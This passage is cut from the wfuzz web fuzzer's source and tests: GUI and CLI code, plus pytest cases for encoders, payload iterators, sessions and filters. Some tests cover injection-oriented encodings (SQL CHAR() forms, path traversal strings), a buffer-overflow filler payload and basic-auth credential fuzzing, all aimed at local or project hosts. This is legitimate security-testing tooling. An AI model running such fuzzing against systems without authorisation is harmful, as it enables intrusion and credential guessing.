\"int\":\n            value1 = int(value1)\n            value2 = int(value2)\n\n        return (value1 > value2) - (value1 < value2)\n\n    def DeleteRows(self, rows):\n        # make a copy since we'll be sorting(mutating) the list\n        rows = list(rows)\n        # use reverse order so the indexes don't change as we remove items\n        rows.sort(reverse=True)\n\n        for row in rows:\n            # remove it from our data structure\n            del self.data[row]\n            # notify the view(s) using this model that it has been removed\n            self.RowDeleted(row)\n\n    def AddRow(self, value):\n        self.data.append(value)\n        self.RowAppended()\n\n    def Clear(self):\n        self.data = []\n        self.Cleared()\n\n    def DeleteRows_by_filter(self, filter_string):\n        ffilter = FuzzResFilter(filter_string=filter_string)\n\n        for row, item in reversed(list(enumerate(self.data))):\n            if ffilter.is_visible(item):\n                del self.data[row]\n                self.RowDeleted(row)\n"
  },
  {
    "path": "src/wfuzz/wfuzz.py",
    "content": "#!/usr/bin/env python\nimport sys\nimport warnings\n\nfrom .core import Fuzzer\nfrom .facade import Facade\nfrom .exception import FuzzException, FuzzExceptBadInstall\nfrom .ui.console.mvc import Controller, KeyPress\nfrom .ui.console.common import (\n    help_banner2,\n    wfpayload_usage,\n)\nfrom .ui.console.clparser import CLParser\n\nfrom .fuzzobjects import FuzzWordType\n\n\nPROFILING = False\n\n\ndef print_profiling(profiling_list, profiling_header):\n    avg = [float(sum(col)) / len(col) for col in list(zip(*profiling_list))]\n    maxx = [max(col) for col in list(zip(*profiling_list))]\n\n    print(\n        \", \".join(\n            [\"{}={}\".format(pair[0], pair[1]) for pair in zip(profiling_header, avg)]\n        )\n    )\n    print(\n        \", \".join(\n            [\"{}={}\".format(pair[0], pair[1]) for pair in zip(profiling_header, maxx)]\n        )\n    )\n\n\ndef main():\n    kb = None\n    fz = None\n    session_options = None\n\n    try:\n        # parse command line\n        session_options = CLParser(sys.argv).parse_cl().compile()\n        session_options[\"exec_mode\"] = \"cli\"\n\n        # Create fuzzer's engine\n        fz = Fuzzer(session_options)\n\n        if session_options[\"interactive\"]:\n            # initialise controller\n            try:\n                kb = KeyPress()\n            except ImportError as e:\n                raise FuzzExceptBadInstall(\n                    \"Error importing necessary modules for interactive mode: %s\"\n                    % str(e)\n                )\n            else:\n                Controller(fz, kb)\n                kb.start()\n\n        if PROFILING:\n            profiling_header = list(fz.qmanager._queues.keys())\n            profiling_list = []\n\n        for res in fz:\n            if PROFILING:\n                profiling = list(fz.qmanager.get_stats().items())\n                profiling_list.append([pair[1] for pair in profiling])\n            else:\n                pass\n\n        if PROFILING:\n            print_profiling(profiling_list, profiling_header)\n    except FuzzException as e:\n        warnings.warn(\"Fatal exception: {}\".format(str(e)))\n    except KeyboardInterrupt:\n        warnings.warn(\"Finishing pending requests...\")\n        if fz:\n            fz.cancel_job()\n    except NotImplementedError as e:\n        warnings.warn(\n            \"Fatal exception: Error importing wfuzz extensions: {}\".format(str(e))\n        )\n    except Exception as e:\n        warnings.warn(\"Unhandled exception: {}\".format(str(e)))\n    finally:\n        if session_options:\n            session_options.close()\n        if kb:\n            kb.cancel_job()\n        Facade().sett.save()\n\n\ndef main_filter():\n    def usage():\n        print(help_banner2)\n        print(wfpayload_usage)\n\n    from .api import fuzz\n\n    try:\n        short_opts = \"hvce:z:f:w:o:A\"\n        long_opts = [\n            \"efield=\",\n            \"ee=\",\n            \"zE=\",\n            \"zD=\",\n            \"field=\",\n            \"slice=\",\n            \"zP=\",\n            \"oF=\",\n            \"recipe=\",\n            \"dump-recipe=\",\n            \"sc=\",\n            \"sh=\",\n            \"sl=\",\n            \"sw=\",\n            \"ss=\",\n            \"hc=\",\n            \"hh=\",\n            \"hl=\",\n            \"hw=\",\n            \"hs=\",\n            \"prefilter=\",\n            \"filter=\",\n            \"help\",\n            \"version\",\n            \"script-help=\",\n            \"script=\",\n            \"script-args=\",\n            \"prev\",\n            \"AA\",\n        ]\n        session_options = CLParser(\n            sys.argv,\n            short_opts,\n            long_opts,\n            help_banner2,\n            wfpayload_usage,\n            wfpayload_usage,\n            wfpayload_usage,\n        ).parse_cl()\n        session_options[\"transport\"] = \"payload\"\n        session_options[\"url\"] = \"FUZZ\"\n\n        session_options.compile_dictio()\n        payload_type = session_options[\"compiled_dictio\"].payloads()[0].get_type()\n\n        if (\n            payload_type == FuzzWordType.FUZZRES\n            and session_options[\"show_field\"] is not True\n        ):\n            session_options[\"exec_mode\"] = \"cli\"\n\n        for res in fuzz(**session_options):\n            if payload_type == FuzzWordType.WORD:\n                print(res.description)\n            elif payload_type == FuzzWordType.FUZZRES and session_options[\"show_field\"]:\n                field_to_print = res._field(\"\\n\")\n                if field_to_print:\n                    print(field_to_print)\n\n    except KeyboardInterrupt:\n        pass\n    except FuzzException as e:\n        warnings.warn((\"Fatal exception: %s\" % str(e)))\n    except Exception as e:\n        warnings.warn((\"Unhandled exception: %s\" % str(e)))\n\n\ndef main_encoder():\n    def usage():\n        print(help_banner2)\n        print(\"Usage:\")\n        print(\"\\n\\twfencode --help This help\")\n        print(\"\\twfencode -d decoder_name string_to_decode\")\n        print(\"\\twfencode -e encoder_name string_to_encode\")\n        print(\"\\twfencode -e encoder_name -i <<stdin>>\")\n        print()\n\n    from .api import encode, decode\n    import getopt\n\n    try:\n        opts, args = getopt.getopt(sys.argv[1:], \"hie:d:\", [\"help\"])\n    except getopt.GetoptError as err:\n        warnings.warn(str(err))\n        usage()\n        sys.exit(2)\n\n    arg_keys = [i for i, j in opts]\n\n    if len(args) == 0 and \"-i\" not in arg_keys:\n        usage()\n        sys.exit()\n\n    try:\n        for o, value in opts:\n            if o == \"-e\":\n                if \"-i\" in arg_keys:\n                    for std in sys.stdin:\n                        print(encode(value, std.strip()))\n                else:\n                    print(encode(value, args[0]))\n            elif o == \"-d\":\n                if \"-i\" in arg_keys:\n                    for std in sys.stdin:\n                        print(decode(value, std.strip()))\n                else:\n                    print(decode(value, args[0]))\n            elif o in (\"-h\", \"--help\"):\n                usage()\n                sys.exit()\n    except IndexError as e:\n        usage()\n        warnings.warn(\n            \"\\nFatal exception: Specify a string to encode or decode.{}\\n\".format(\n                str(e)\n            )\n        )\n        sys.exit()\n    except AttributeError as e:\n        warnings.warn(\n            \"\\nEncoder plugin missing encode or decode functionality. {}\".format(str(e))\n        )\n    except FuzzException as e:\n        warnings.warn((\"\\nFatal exception: %s\" % str(e)))\n    except Exception as e:\n        warnings.warn((\"Unhandled exception: %s\" % str(e)))\n\n\ndef main_gui():\n    import wx\n    from .ui.gui.guicontrols import WfuzzFrame\n    from .ui.gui.controller import GUIController\n\n    app = wx.App(False)\n\n    frame = WfuzzFrame(None, wx.ID_ANY, \"WFuzz wxPython Console\", size=(750, 590))\n    GUIController(frame)\n\n    frame.Show()\n    app.MainLoop()\n"
  },
  {
    "path": "src/wfuzz-cli.py",
    "content": "#!/usr/bin/env python\n\nfrom wfuzz.wfuzz import main\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "src/wxfuzz.py",
    "content": "#!/usr/bin/env python\n\nfrom wfuzz.wfuzz import main_gui\n\nif __name__ == \"__main__\":\n    main_gui()\n"
  },
  {
    "path": "tests/acceptance/test_saved_filter.py",
    "content": "import pytest\nimport os\nimport tempfile\n\nimport wfuzz\n\n\ndef get_temp_file():\n    temp_name = next(tempfile._get_candidate_names())\n    defult_tmp_dir = tempfile._get_default_tempdir()\n\n    return os.path.join(defult_tmp_dir, temp_name)\n\n\ndef test_filter_prev_payload():\n\n    filename = get_temp_file()\n    for res in wfuzz.get_session(\n        \"-z range --zD 0-0 -H test:1 -u http://localhost:9000/anything/FUZZ\"\n    ).fuzz(save=filename):\n        pass\n\n    filename_new = get_temp_file()\n    for res in wfuzz.get_session(\n        \"-z wfuzzp --zD {} -u FUZZ -H test:2 --oF {}\".format(filename, filename_new)\n    ).fuzz(save=filename_new):\n        pass\n\n    assert (\n        len(\n            list(\n                wfuzz.get_session(\n                    \"-z wfuzzp --zD {} --slice r.headers.request.test=2 --dry-run -u FUZZ\".format(\n                        filename_new\n                    )\n                ).fuzz()\n            )\n        )\n        == 1\n    )\n    assert (\n        len(\n            list(\n                wfuzz.get_session(\n                    \"-z wfuzzp --zD {} --slice FUZZ[r.headers.request.test]=1 --dry-run -u FUZZ\".format(\n                        filename_new\n                    )\n                ).fuzz()\n            )\n        )\n        == 1\n    )\n"
  },
  {
    "path": "tests/api/test_encoders.py",
    "content": "import pytest\nimport wfuzz\n\n\n@pytest.mark.parametrize(\n    \"encoder, text, expected_result\",\n    [\n        (\"none\", \"test\", \"test\"),\n        (\"urlencode\", \"../=?&\", \"../%3D%3F%26\"),\n        (\"double_urlencode\", \"../=?&\", \"../%253D%253F%2526\"),\n        (\"double_urlencode\", \"../=?&\", \"../%253D%253F%2526\"),\n        (\"base64\", \"admin\", \"YWRtaW4=\"),\n        (\"sha1\", \"admin\", \"d033e22ae348aeb5660fc2140aec35850c4da997\"),\n        (\"md5\", \"admin\", \"21232f297a57a5a743894a0e4a801fc3\"),\n        (\"hexlify\", \"admin\", \"61646d696e\"),\n        (\"html_escape\", \"<>&'\\\"/\", \"&lt;&gt;&amp;&#x27;&quot;/\"),\n        (\"html_decimal\", \"<>&'\\\"/\", \"&#60;&#62;&#38;&#39;&#34;&#47;\"),\n        (\"html_hexadecimal\", \"<>&'\\\"/\", \"&#x3c;&#x3e;&#x26;&#x27;&#x22;&#x2f;\"),\n        (\"mysql_char\", \"admin\", \"CHAR(97,100,109,105,110)\"),\n        (\"mssql_char\", \"admin\", \"CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)\"),\n        (\"oracle_char\", \"admin\", \"chr(97)||chr(100)||chr(109)||chr(105)||chr(110)\"),\n    ],\n)\ndef test_encode(encoder, text, expected_result):\n    assert wfuzz.encode(encoder, text) == expected_result\n\n\n@pytest.mark.parametrize(\n    \"encoder, text, expected_result\",\n    [\n        (\"none\", \"test\", \"test\"),\n        (\"urlencode\", \"../=?&\", \"../%3D%3F%26\"),\n        (\"double_urlencode\", \"../=?&\", \"../%253D%253F%2526\"),\n        (\"double_urlencode\", \"../=?&\", \"../%253D%253F%2526\"),\n        (\"base64\", \"admin\", \"YWRtaW4=\"),\n        (\"hexlify\", \"admin\", \"61646d696e\"),\n        (\"mysql_char\", \"admin\", \"CHAR(97,100,109,105,110)\"),\n        (\"mssql_char\", \"admin\", \"CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)\"),\n        (\"oracle_char\", \"admin\", \"chr(97)||chr(100)||chr(109)||chr(105)||chr(110)\"),\n    ],\n)\ndef test_decode(encoder, text, expected_result):\n    assert wfuzz.decode(encoder, expected_result) == text\n"
  },
  {
    "path": "tests/api/test_payload.py",
    "content": "import pytest\nimport wfuzz\n\n\n@pytest.mark.parametrize(\n    \"params, expected_result\",\n    [\n        (\n            {\n                \"iterator\": \"zip\",\n                \"payloads\": [\n                    (\"range\", {\"default\": \"0-2\", \"encoder\": None}, None),\n                    (\"range\", {\"default\": \"0-2\", \"encoder\": None}, None),\n                ],\n            },\n            [(\"0\", \"0\"), (\"1\", \"1\"), (\"2\", \"2\")],\n        ),\n        (\n            {\n                \"iterator\": \"chain\",\n                \"payloads\": [\n                    (\"range\", {\"default\": \"0-2\", \"encoder\": None}, None),\n                    (\"range\", {\"default\": \"0-2\", \"encoder\": None}, None),\n                ],\n            },\n            [(\"0\",), (\"0\",), (\"1\",), (\"1\",), (\"2\",), (\"2\",)],\n        ),\n        (\n            {\n                \"iterator\": \"product\",\n                \"payloads\": [\n                    (\"range\", {\"default\": \"0-2\", \"encoder\": None}, None),\n                    (\"range\", {\"default\": \"0-2\", \"encoder\": None}, None),\n                ],\n            },\n            [\n                (\"0\", \"0\"),\n                (\"0\", \"1\"),\n                (\"0\", \"2\"),\n                (\"1\", \"0\"),\n                (\"1\", \"1\"),\n                (\"1\", \"2\"),\n                (\"2\", \"0\"),\n                (\"2\", \"1\"),\n                (\"2\", \"2\"),\n            ],\n        ),\n        (\n            {\"payloads\": [(\"range\", {\"default\": \"0-4\", \"encoder\": None}, None)]},\n            [(\"0\",), (\"1\",), (\"2\",), (\"3\",), (\"4\",)],\n        ),\n        (\n            {\n                \"payloads\": [\n                    (\"buffer_overflow\", {\"default\": \"10\", \"encoder\": None}, None)\n                ]\n            },\n            [(\"AAAAAAAAAA\",)],\n        ),\n        (\n            {\"payloads\": [(\"hexrange\", {\"default\": \"09-10\", \"encoder\": None}, None)]},\n            [(\"09\",), (\"0a\",), (\"0b\",), (\"0c\",), (\"0d\",), (\"0e\",), (\"0f\",), (\"10\",)],\n        ),\n        (\n            {\"payloads\": [(\"hexrange\", {\"default\": \"009-00B\", \"encoder\": None}, None)]},\n            [(\"009\",), (\"00a\",), (\"00b\",)],\n        ),\n        (\n            {\n                \"payloads\": [\n                    (\"ipnet\", {\"default\": \"192.168.0.1/30\", \"encoder\": None}, None)\n                ]\n            },\n            [(\"192.168.0.1\",), (\"192.168.0.2\",)],\n        ),\n        (\n            {\n                \"payloads\": [\n                    (\n                        \"iprange\",\n                        {\"default\": \"192.168.0.1-192.168.0.2\", \"encoder\": None},\n                        None,\n                    )\n                ]\n            },\n            [(\"192.168.0.1\",), (\"192.168.0.2\",)],\n        ),\n        (\n            {\"payloads\": [(\"list\", {\"default\": \"a-b\", \"encoder\": None}, None)]},\n            [(\"a\",), (\"b\",)],\n        ),\n        (\n            {\"payloads\": [(\"list\", {\"default\": \"a\\\\-b-b\", \"encoder\": None}, None)]},\n            [(\"a-b\",), (\"b\",)],\n        ),\n        (\n            {\"payloads\": [(\"range\", {\"default\": \"1-2\", \"encoder\": None}, None)]},\n            [(\"1\",), (\"2\",)],\n        ),\n    ],\n)\ndef test_payload_iterator(params, expected_result):\n    assert sorted(list(wfuzz.payload(**params))) == sorted(expected_result)\n\n\n@pytest.mark.parametrize(\n    \"payload, expected_result\",\n    [(range(4), [0, 1, 2, 3]), ([list(range(2)), list(range(2))], [[0, 1], [0, 1]])],\n)\ndef test_get_payload(payload, expected_result):\n    assert sorted(wfuzz.get_payload(payload).data.get(\"dictio\")[0]) == sorted(\n        expected_result\n    )\n"
  },
  {
    "path": "tests/api/test_session.py",
    "content": "import pytest\nimport wfuzz\n\n\n@pytest.mark.parametrize(\n    \"session, expected_result\",\n    [\n        (\n            \"-z range,0-4 http://127.0.0.1/FUZZ\",\n            {\n                \"allvars\": None,\n                \"auth\": {},\n                \"colour\": False,\n                \"compiled_baseline\": None,\n                \"compiled_dictio\": None,\n                \"compiled_filter\": None,\n                \"compiled_prefilter\": [],\n                \"compiled_printer\": None,\n                \"compiled_seed\": None,\n                \"compiled_stats\": None,\n                \"concurrent\": 10,\n                \"conn_delay\": 90,\n                \"connect_to_ip\": None,\n                \"console_printer\": \"\",\n                \"cookie\": [],\n                \"delay\": None,\n                \"dictio\": None,\n                \"exec_mode\": \"api\",\n                \"fields\": [],\n                \"filter\": \"\",\n                \"follow\": False,\n                \"hc\": [],\n                \"headers\": [],\n                \"hh\": [],\n                \"hl\": [],\n                \"hs\": None,\n                \"hw\": [],\n                \"interactive\": False,\n                \"iterator\": None,\n                \"method\": None,\n                \"no_cache\": False,\n                \"payloads\": [(\"range\", {\"default\": \"0-4\", \"encoder\": None}, None)],\n                \"postdata\": None,\n                \"prefilter\": [],\n                \"previous\": False,\n                \"printer\": (None, None),\n                \"proxies\": None,\n                \"recipe\": [],\n                \"req_delay\": 90,\n                \"retries\": 3,\n                \"rlevel\": 0,\n                \"dlevel\": 4,\n                \"save\": \"\",\n                \"sc\": [],\n                \"scanmode\": False,\n                \"script\": \"\",\n                \"script_args\": {},\n                \"seed_payload\": False,\n                \"sh\": [],\n                \"show_field\": None,\n                \"sl\": [],\n                \"ss\": None,\n                \"sw\": [],\n                \"transport\": \"http\",\n                \"url\": \"http://127.0.0.1/FUZZ\",\n                \"verbose\": False,\n            },\n        )\n    ],\n)\ndef test_get_payload(session, expected_result):\n    assert wfuzz.get_session(session).data == expected_result\n"
  },
  {
    "path": "tests/conftest.py",
    "content": "import pytest\n\n\nfrom wfuzz.fuzzrequest import FuzzRequest\nfrom wfuzz.fuzzobjects import FuzzResult\nfrom wfuzz.fuzzobjects import FPayloadManager\nfrom wfuzz.filters.ppfilter import FuzzResFilter\nfrom wfuzz.facade import Facade\n\n\n@pytest.fixture\ndef full_fuzzres(request):\n    raw_req, raw_resp = request.param\n    fr = FuzzRequest()\n    fr.update_from_raw_http(raw_req, \"http\", raw_resp, None)\n\n    return FuzzResult(history=fr)\n\n\n@pytest.fixture\ndef full_fuzzreq(request):\n    raw_req, raw_resp = request.param\n    fr = FuzzRequest()\n    fr.update_from_raw_http(raw_req, \"http\", raw_resp, None)\n\n    return fr\n\n\n@pytest.fixture\ndef fuzzres_from_url(request):\n    fr = FuzzRequest()\n    fr.url = request.param\n\n    return FuzzResult(history=fr)\n\n\n@pytest.fixture\ndef filter_obj():\n    return FuzzResFilter()\n\n\n@pytest.fixture\ndef example_full_fuzzres():\n    raw_req, raw_resp = (\n        \"GET /path?param1=1&param2=2 HTTP/1.1\\n\"\n        \"Host: www.wfuzz.org\\n\"\n        \"User-Agent: curl/7.58.0\\n\"\n        \"Accept: */*\\n\"\n        \"Cookie: cookie1=1\\n\",\n        \"HTTP/1.1 302 Found\\n\"\n        \"Content-Type: text/html; charset=utf-8\\n\"\n        \"Content-Language: en\\n\"\n        \"Location: https://wfuzz.readthedocs.io/en/latest/\\n\"\n        \"Vary: Accept-Language, Cookie\\n\"\n        \"Server: nginx/1.14.0 (Ubuntu)\\n\"\n        \"X-Fallback: True\\n\"\n        \"X-Served: Django\\n\"\n        \"X-Deity: web01\\n\"\n        \"Date: Wed, 23 Jan 2019 21:43:59 GMT\\n\"\n        \"Content-Length: 0\\n\"\n        \"Set-Cookie: name=Nicholas; expires=Sat, 02 May 2009 23:38:25 GMT\\n\",\n    )\n    fr = FuzzRequest()\n    fr.update_from_raw_http(\n        raw_req, \"http\", raw_resp, b\"Some line\\n and words\\nasdsdas\"\n    )\n\n    return FuzzResult(history=fr)\n\n\n@pytest.fixture\ndef example_full_fuzzres_content(request):\n    raw_content = request.param\n\n    raw_req, raw_resp = (\n        \"GET /path?param1=1&param2=2 HTTP/1.1\\n\"\n        \"Host: www.wfuzz.org\\n\"\n        \"User-Agent: curl/7.58.0\\n\"\n        \"Accept: */*\\n\"\n        \"Cookie: cookie1=1\\n\",\n        \"HTTP/1.1 200 OK\\n\"\n        \"Content-Type: text/html; charset=utf-8\\n\"\n        \"Content-Language: en\\n\"\n        \"Vary: Accept-Language, Cookie\\n\"\n        \"Server: nginx/1.14.0 (Ubuntu)\\n\"\n        \"X-Fallback: True\\n\"\n        \"X-Served: Django\\n\"\n        \"X-Deity: web01\\n\"\n        \"Date: Wed, 23 Jan 2019 21:43:59 GMT\\n\"\n        \"Content-Length: 0\\n\"\n        \"Set-Cookie: name=Nicholas; expires=Sat, 02 May 2009 23:38:25 GMT\\n\",\n    )\n    fr = FuzzRequest()\n    fr.update_from_raw_http(raw_req, \"http\", raw_resp, raw_content)\n\n    fuzzres = FuzzResult(history=fr)\n    fuzzres.payload_man = FPayloadManager()\n\n    return fuzzres\n\n\n@pytest.fixture\ndef example_full_fuzzres_no_response():\n    raw_req = \"GET /path?param1=1&param2=2 HTTP/1.1\\nHost: www.wfuzz.org\\nUser-Agent: curl/7.58.0\\nAccept: */*\\n\"\n\n    fr = FuzzRequest()\n    fr.update_from_raw_http(raw_req, \"http\", None, None)\n\n    return FuzzResult(history=fr)\n\n\n@pytest.fixture\ndef get_plugin():\n    def _get_customer_plugin(name):\n        return [x() for x in Facade().scripts.get_plugins(name)]\n\n    return _get_customer_plugin\n"
  },
  {
    "path": "tests/factories/test_seedbasebuilder.py",
    "content": "import pytest\n\nfrom wfuzz.fuzzobjects import FuzzWord, FuzzWordType\nfrom wfuzz.factories.fuzzfactory import SeedBuilderHelper\nfrom wfuzz.ui.console.clparser import CLParser\nfrom wfuzz.factories.fuzzresfactory import resfactory\n\nfrom wfuzz.helpers.obj_dyn import rgetattr\nimport wfuzz.api\n\n\n@pytest.mark.parametrize(\n    \"full_fuzzreq, expected_result\",\n    [\n        (\n            (\n                \"GET /FUZZ HTTP/1.1\\n\"\n                \"Host: www.wfuzz.org\\n\"\n                \"Content-Type: application/x-www-form-urlencoded\\n\"\n                \"User-Agent: Wfuzz/2.1\\n\",\n                None,\n            ),\n            [\n                {\n                    \"bl_value\": None,\n                    \"field\": None,\n                    \"full_bl\": None,\n                    \"full_marker\": \"FUZZ\",\n                    \"index\": None,\n                    \"nonfuzz_marker\": \"\",\n                    \"word\": \"FUZZ\",\n                }\n            ],\n        ),\n        (\n            (\n                \"GET /FUZZ{a_bl_value} HTTP/1.1\\n\"\n                \"Host: www.wfuzz.org\\n\"\n                \"Content-Type: application/x-www-form-urlencoded\\n\"\n                \"User-Agent: Wfuzz/2.1\\n\",\n                None,\n            ),\n            [\n                {\n                    \"bl_value\": \"a_bl_value\",\n                    \"field\": None,\n                    \"full_bl\": \"{a_bl_value}\",\n                    \"full_marker\": \"FUZZ{a_bl_value}\",\n                    \"index\": None,\n                    \"nonfuzz_marker\": \"{a_bl_value}\",\n                    \"word\": \"FUZZ\",\n                }\n            ],\n        ),\n        (\n            (\n                \"GET /FUZZ[url] HTTP/1.1\\n\"\n                \"Host: www.wfuzz.org\\n\"\n                \"Content-Type: application/x-www-form-urlencoded\\n\"\n                \"User-Agent: Wfuzz/2.1\\n\",\n                None,\n            ),\n            [\n                {\n                    \"bl_value\": None,\n                    \"field\": \"url\",\n                    \"full_bl\": None,\n                    \"full_marker\": \"FUZZ[url]\",\n                    \"index\": None,\n                    \"nonfuzz_marker\": \"[url]\",\n                    \"word\": \"FUZZ\",\n                }\n            ],\n        ),\n        (\n            (\n                \"GET /FUZZ/FUZ2Z[url] HTTP/1.1\\n\"\n                \"Host: www.wfuzz.org\\n\"\n                \"Content-Type: application/x-www-form-urlencoded\\n\"\n                \"User-Agent: Wfuzz/2.1\\n\",\n                None,\n            ),\n            [\n                {\n                    \"bl_value\": None,\n                    \"field\": None,\n                    \"full_bl\": None,\n                    \"full_marker\": \"FUZZ\",\n                    \"index\": None,\n                    \"nonfuzz_marker\": \"\",\n                    \"word\": \"FUZZ\",\n                },\n                {\n                    \"bl_value\": None,\n                    \"field\": \"url\",\n                    \"full_bl\": None,\n                    \"full_marker\": \"FUZ2Z[url]\",\n                    \"index\": \"2\",\n                    \"nonfuzz_marker\": \"[url]\",\n                    \"word\": \"FUZ2Z\",\n                },\n            ],\n        ),\n    ],\n    indirect=[\"full_fuzzreq\"],\n)\ndef test_get_marker_dict(full_fuzzreq, expected_result):\n    assert SeedBuilderHelper().get_marker_dict(full_fuzzreq) == expected_result\n\n\n@pytest.mark.parametrize(\n    \"session_string, dictio, expected_field, expected_result\",\n    [\n        (\n            \"wfuzz http://www.wfuzz.io/FUZZ\",\n            [FuzzWord(\"sub1\", FuzzWordType.WORD)],\n            \"url\",\n            \"http://www.wfuzz.io/sub1\",\n        ),\n        (\n            \"wfuzz --basic FUZZ:FUZ2Z http://www.wfuzz.io/\",\n            (FuzzWord(\"sub1\", FuzzWordType.WORD), FuzzWord(\"sub2\", FuzzWordType.WORD)),\n            \"auth.credentials\",\n            \"sub1:sub2\",\n        ),\n        (\n            \"wfuzz --basic FUZZ:FUZ2Z http://www.wfuzz.io/\",\n            (FuzzWord(\"sub1\", FuzzWordType.WORD), FuzzWord(\"sub2\", FuzzWordType.WORD)),\n            \"auth.method\",\n            \"basic\",\n        ),\n    ],\n)\ndef test_replace_markers(session_string, dictio, expected_field, expected_result):\n    options = CLParser(session_string.split(\" \")).parse_cl()\n    options.compile_seeds()\n\n    res = resfactory.create(\"fuzzres_from_options_and_dict\", options, dictio)\n\n    assert rgetattr(res.history, expected_field) == expected_result\n"
  },
  {
    "path": "tests/filters/test_filter.py",
    "content": "import pytest\n\n\n@pytest.mark.parametrize(\n    \"filter_string, expected_result\",\n    [\n        (\"h=28 or w=6 or l=2\", True),\n        (\"r.params.get.param2='2'\", True),\n        (\"r.headers.response.Location\", \"https://wfuzz.readthedocs.io/en/latest/\"),\n        (\"r.headers.response.notthere\", {}),\n        (\"r.params.get.notthere\", {}),\n        (\"r.cookies.response.notthere\", {}),\n        (\"r.cookies.response.notthere='something'\", False),\n        (\"r.cookies.response.notthere~'something'\", False),\n        (\"r.headers.request.Host\", \"www.wfuzz.org\"),\n        (\"r.headers.request.host\", \"www.wfuzz.org\"),\n        (\"r.headers.response.SeRVEr\", \"nginx/1.14.0 (Ubuntu)\"),\n        (\"r.headers.response.server\", \"nginx/1.14.0 (Ubuntu)\"),\n        (\"r.cookies.request.cookie1\", \"1\"),\n        (\"r.cookies.request.cOOkiE1\", \"1\"),\n        (\"r.cookies.response.name\", \"Nicholas\"),\n        (\"r.cookies.response.nAMe\", \"Nicholas\"),\n        (\"r.params.get.param1\", \"1\"),\n        (\"r.params.get.pAraM1\", \"1\"),\n    ],\n)\ndef test_filter_ret_values(\n    filter_obj, example_full_fuzzres, filter_string, expected_result\n):\n    assert filter_obj.is_visible(example_full_fuzzres, filter_string) == expected_result\n\n\n@pytest.mark.parametrize(\n    \"filter_string, expected_result\",\n    [\n        (\"r.headers.response.notthere\", {}),\n        (\"r.params.get.notthere\", {}),\n        (\"r.cookies.response.notthere\", {}),\n        (\"r.cookies.response.notthere='something'\", False),\n    ],\n)\ndef test_filter_ret_values_no_response(\n    filter_obj, example_full_fuzzres_no_response, filter_string, expected_result\n):\n    assert (\n        filter_obj.is_visible(example_full_fuzzres_no_response, filter_string)\n        == expected_result\n    )\n\n\n@pytest.mark.parametrize(\n    \"filter_string, expected_result\",\n    [\n        (\n            \"r.cookies.response.name|diff('test')\",\n            \"--- prev\\n\\n+++ current\\n\\n@@ -1 +1 @@\\n\\n-test\\n+Nicholas\",\n        ),\n        (\"r.cookies.response.nAMe|upper()\", \"NICHOLAS\"),\n        (\"r.cookies.response.name|upper()\", \"NICHOLAS\"),\n        (\"r.cookies.response.name|lower()\", \"nicholas\"),\n        (\"r.cookies.response.name|startswith('N')\", True),\n        (\"r.cookies.response.name|replace('N','n')\", \"nicholas\"),\n        (\"'%2e%2e'|unquote()\", \"..\"),\n        (\"'%2e%2f'|decode('urlencode')\", \"./\"),\n        (\"'%%'|encode('urlencode')\", \"%25%25\"),\n    ],\n)\ndef test_filter_operators(\n    filter_obj, example_full_fuzzres, filter_string, expected_result\n):\n    assert filter_obj.is_visible(example_full_fuzzres, filter_string) == expected_result\n"
  },
  {
    "path": "tests/filters/test_filter_codes.py",
    "content": "import pytest\n\n\n@pytest.mark.parametrize(\n    \"fuzzres_from_url, filter_string, expected_result\",\n    [\n        (\n            \"http://www.wfuzz.org/path/test.php?param=1&param2=2\",\n            \"r.urlp.scheme='http'\",\n            True,\n        ),\n        (\n            \"http://www.wfuzz.org/path/test.php?param=1&param2=2\",\n            \"r.urlp.netloc='www.wfuzz.org'\",\n            True,\n        ),\n        (\n            \"http://www.wfuzz.org/path/test.php?param=1&param2=2\",\n            \"r.urlp.path='/path/test.php'\",\n            True,\n        ),\n        (\n            \"http://www.wfuzz.org/path/test.php?param=1&param2=2\",\n            \"r.urlp.ffname='test.php'\",\n            True,\n        ),\n        (\n            \"http://www.wfuzz.org/path/test.php?param=1&param2=2\",\n            \"r.urlp.fname='test'\",\n            True,\n        ),\n        (\n            \"http://www.wfuzz.org/path/test.php?param=1&param2=2\",\n            \"r.urlp.hasquery\",\n            True,\n        ),\n        (\n            \"http://www.wfuzz.org/path/test.php?param=1&param2=2\",\n            \"not r.urlp.isbllist\",\n            True,\n        ),\n    ],\n    indirect=[\"fuzzres_from_url\"],\n)\ndef test_urlp(filter_obj, fuzzres_from_url, filter_string, expected_result):\n    assert filter_obj.is_visible(fuzzres_from_url, filter_string) == expected_result\n\n\n@pytest.mark.parametrize(\n    \"fuzzres_from_url, filter_string, expected_result\",\n    [(\"http://www.wfuzz.org/path?param=1&param2=2\", \"r.is_path\", False)],\n    indirect=[\"fuzzres_from_url\"],\n)\ndef test_ispath(filter_obj, fuzzres_from_url, filter_string, expected_result):\n    assert filter_obj.is_visible(fuzzres_from_url, filter_string) == expected_result\n\n\n@pytest.mark.parametrize(\n    \"fuzzres_from_url, filter_string, expected_result\",\n    [\n        (\n            \"http://www.wfuzz.org/path?param=1&param2=2\",\n            \"r.pstrip\",\n            \"http://www.wfuzz.org/path-gparam-gparam2\",\n        ),\n    ],\n    indirect=[\"fuzzres_from_url\"],\n)\ndef test_pstrip(filter_obj, fuzzres_from_url, filter_string, expected_result):\n    assert filter_obj.is_visible(fuzzres_from_url, filter_string) == expected_result\n"
  },
  {
    "path": "tests/filters/test_filter_urlp.py",
    "content": "import pytest\n\n\n@pytest.mark.parametrize(\n    \"fuzzres_from_url, filter_string, expected_result\",\n    [\n        (\n            \"http://www.wfuzz.org/path/test.php?param=1&param2=2\",\n            \"r.urlp.scheme='http'\",\n            True,\n        ),\n        (\n            \"http://www.wfuzz.org/path/test.php?param=1&param2=2\",\n            \"r.urlp.netloc='www.wfuzz.org'\",\n            True,\n        ),\n        (\n            \"http://www.wfuzz.org/path/test.php?param=1&param2=2\",\n            \"r.urlp.path='/path/test.php'\",\n            True,\n        ),\n        (\n            \"http://www.wfuzz.org/path/test.php?param=1&param2=2\",\n            \"r.urlp.ffname='test.php'\",\n            True,\n        ),\n        (\n            \"http://www.wfuzz.org/path/test.php?param=1&param2=2\",\n            \"r.urlp.fname='test'\",\n            True,\n        ),\n        (\n            \"http://www.wfuzz.org/path/test.php?param=1&param2=2\",\n            \"r.urlp.hasquery\",\n            True,\n        ),\n        (\n            \"http://www.wfuzz.org/path/test.php?param=1&param2=2\",\n            \"not 